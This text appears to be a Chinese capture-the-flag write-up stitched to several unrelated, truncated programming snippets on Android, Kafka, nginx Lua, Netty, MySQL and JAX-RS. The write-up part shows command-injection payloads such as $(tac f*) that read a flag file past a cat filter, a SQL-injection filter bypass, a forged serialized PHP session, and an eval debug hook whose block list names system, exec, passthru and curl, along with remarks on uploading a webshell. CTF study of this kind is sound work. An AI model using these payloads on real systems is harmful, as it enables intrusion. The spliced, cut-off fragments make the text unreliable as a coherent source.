$(ls) / `ls`
ping: flag.php
index.php: Name or service not known
# cat 被过滤了,但有一堆可以查看文件内容的命令啊
tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写!
more 一页一页的显示档案内容
less 与 more 类似,但是比 more 更好的是,他可以往前翻页!
head 只看头几行
tail 只看尾巴几行
nl 显示的时候,顺道输出行号!
# 加个 * 模糊匹配一下$(tac f*)
ping: $flag='FLAG{ping_$(capture-the-flag)_U.....}';<?php: Name or service not known
scoreboard
DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.
header 里发现了 x-flag。
login as admin 0
SQL Injection!
题目直接给了源码,开始审计。
require('config.php');// table schema// user -> id, user, password, is_adminfunctionsafe_filter($str){$strl=strtolower($str);if(strstr($strl,'or 1=1')||strstr($strl,'drop')||strstr($strl,'update')||strstr($strl,'delete')){return'';}returnstr_replace("'","\\'",$str);// \' => \\'}$_POST=array_map(safe_filter,$_POST);$user=null;// connect to databaseif(!empty($_POST['name'])&&!empty($_POST['password'])){$connection_string=sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4',DB_HOST,DB_NAME);$db=newPDO($connection_string,DB_USER,DB_PASS);$sql=sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",$_POST['name'],$_POST['password']);try{$query=$db->query($sql);if($query){$user=$query->fetchObject();}else{$user=false;}}catch(Exception $e){$user=false;}}if(!$user):?>if($user===false):?><!-- debug:=$sql?>-->else:?><h4>=sprintf("You %s admin!",$user->is_admin?"are":"are not")?></h4>if($user->is_admin)printf("%s, %s",htmlentities($flag1),$where_is_flag2);?>endif;?>
require('config.php');if($_POST['name']=='admin'&&md5($_POST['password'])=='00000000000000000000000000000000'){// admin account is disabled by give a impossible md5 hash$user='admin';}elseif($_POST['name']=='guest'&&md5($_POST['password'])=='084e0343a0486ff05530df6c705c8bb4'){$user='guest';}elseif(isset($_POST['name'])){$user=false;}
require('config.php');require('session.php');// class Session { ... }// sorry, no source code this time. :P$session= Session::load();$login_failed=false;if($_GET['debug']==='1'){$session->debug();}if(isset($_POST['name'])){$login_failed=!Session::login($_POST['name'],$_POST['password']);}elseif(isset($_POST['logout'])){$session=newSession();}$session->save();
import hashlib, urllib.parse
en ="""O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A1%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A10%3A%22config.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3B%7D"""print(hashlib.sha512((urllib.parse.unquote(en)).encode()).hexdigest())
For flag3, you need a shell to get that. see $WEBROOT/flag3!
之前看源码的时候,留意到一个 debug 的地方,而且也扫出来了 eval。
定位到 fun_debug.php ,也可以尝试下传个 webshell上去。
functiondo_debug(){assert(strlen($GLOBALS['secret_key'])>40);$dir=$GLOBALS['__GET']['dir'];// 传个数组过了if(strcmp($dir,"magically")||strcmp($dir,"hacker")||strcmp($dir,"admin")){show_error('You are not hacky enough :(');}list($cmd,$hmac)=explode('.',$GLOBALS['__GET']['command'],2);$cmd=base64_decode($cmd);$bad_things=array('system','exec','popen','pcntl_exec','proc_open','passthru','`','eval','assert','preg_replace','create_function','include','require','curl',);foreach($bad_thingsas$bad){if(stristr($cmd,$bad)){// 过滤太弱了die('2bad');}}if(hash_equals(hash_hmac('sha256',$cmd,$GLOBALS["secret_key"]),$hmac)){die(eval($cmd));}else{show_error('What does the fox say?');}}
遇到一个奇怪的问题,当SplashActivity跳转到MainActivity之后,按主页键,再去打开程序,程序没法再打开(闪一下),结束任务再开也是这样,只能卸载了再重装。而且每次在Log里都打印了这句话"进入主程序"。后来发现是必须跳转之后再finish掉SplashActivity
本来代码:
// 销毁这个Activity
fin
Kafka is a distributed, partitioned, replicated commit log service.这里的commit log如何理解?
A message is considered "committed" when all in sync replicas for that partition have applied i
安装lua_nginx_module 模块
lua_nginx_module 可以一步步的安装,也可以直接用淘宝的OpenResty
Centos和debian的安装就简单了。。
这里说下freebsd的安装:
fetch http://www.lua.org/ftp/lua-5.1.4.tar.gz
tar zxvf lua-5.1.4.tar.gz
cd lua-5.1.4
ma
今天看Netty如何实现一个Http Server
org.jboss.netty.example.http.file.HttpStaticFileServerPipelineFactory:
pipeline.addLast("decoder", new HttpRequestDecoder());
pipeline.addLast(&quo
环境:Windows XPPHP Version 5.2.9MySQL Server 5.1
第一步、创建一个表date_test(非定长、int时间)
CREATE TABLE `test`.`date_test` (`id` INT NOT NULL AUTO_INCREMENT ,`start_time` INT NOT NULL ,`some_content`
在两个activity直接传递List<xxInfo>时,出现Parcel: unable to marshal value异常。 在MainActivity页面(MainActivity页面向NextActivity页面传递一个List<xxInfo>): Intent intent = new Intent(this, Next
转载:http://www.ibm.com/developerworks/cn/web/wa-jaxrs/
JAX-RS (JSR-311) 【 Java API for RESTful Web Services 】是一种 Java™ API,可使 Java Restful 服务的开发变得迅速而轻松。这个 API 提供了一种基于注释的模型来描述分布式资源。注释被用来提供资源的位
ConnectionKeepAliveStrategy kaStrategy = new DefaultConnectionKeepAliveStrategy() {
@Override
public long getKeepAliveDuration(HttpResponse response, HttpContext context) {
long keepAlive